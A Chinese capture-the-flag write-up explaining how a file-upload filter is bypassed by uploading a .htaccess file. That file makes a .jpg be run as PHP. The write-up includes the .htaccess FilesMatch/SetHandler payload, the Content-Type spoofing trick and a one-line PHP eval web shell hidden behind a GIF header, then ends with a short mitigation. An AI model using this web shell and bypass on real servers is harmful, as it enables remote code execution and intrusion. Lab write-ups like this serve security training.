0x00 知识点
- .htaccess文件上传绕过
0x01 知识点详解
- 什么是.htaccess文件?
答:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。 - 怎么利用.htaccess文件进行上传?
答:我们可以在.htaccess文件文件中加入php解析规则,比如,本题中就利用这个解析规则将jpg文件解析成php文件来执行。
0x02 解题思路
- 打开网站一看,不出意外应该是考察文件上传的题目
- 上传php文件,phtml文件,上传jpg文件之后改后缀都不行,但是发现只要上传的文件是jpg文件或者png文件都可以上传,并且还会回显上传路径。
- 直接上传jpg结尾的一句话木马并不会解析,那我们是不是可以在上传一个.htaccess文件让我们自己来定义php的解析规则,开始尝试
首先上传一个.htaccess
文件
<FilesMatch "yjh.jpg">SetHandler application/x-httpd-php
</FilesMatch>
上传抓包
!这里注意.htaccess
无法直接上传,需要改Content-Type: image/jpeg
才可以
之后上传呢yjh.jpg
文件
GIF89a
<?php @eval($_POST['lla']);?>
这个直接上传就行了,不用抓包了。记住这个路径,直接利用菜刀或者蚁剑这种webshell工具连接就好了
这个就是我的连接路径
http://2bef5319-b7e2-44c5-8f19-5b718e5475ec.node3.buuoj.cn/upload/bc4440a0c8762723bc7dac811e3137fb/yjh.jpg
之后再根目录里找到flag
0x03 防护措施
- 最简单的方法就是给upload文件夹设置不可执行的权限就可以了。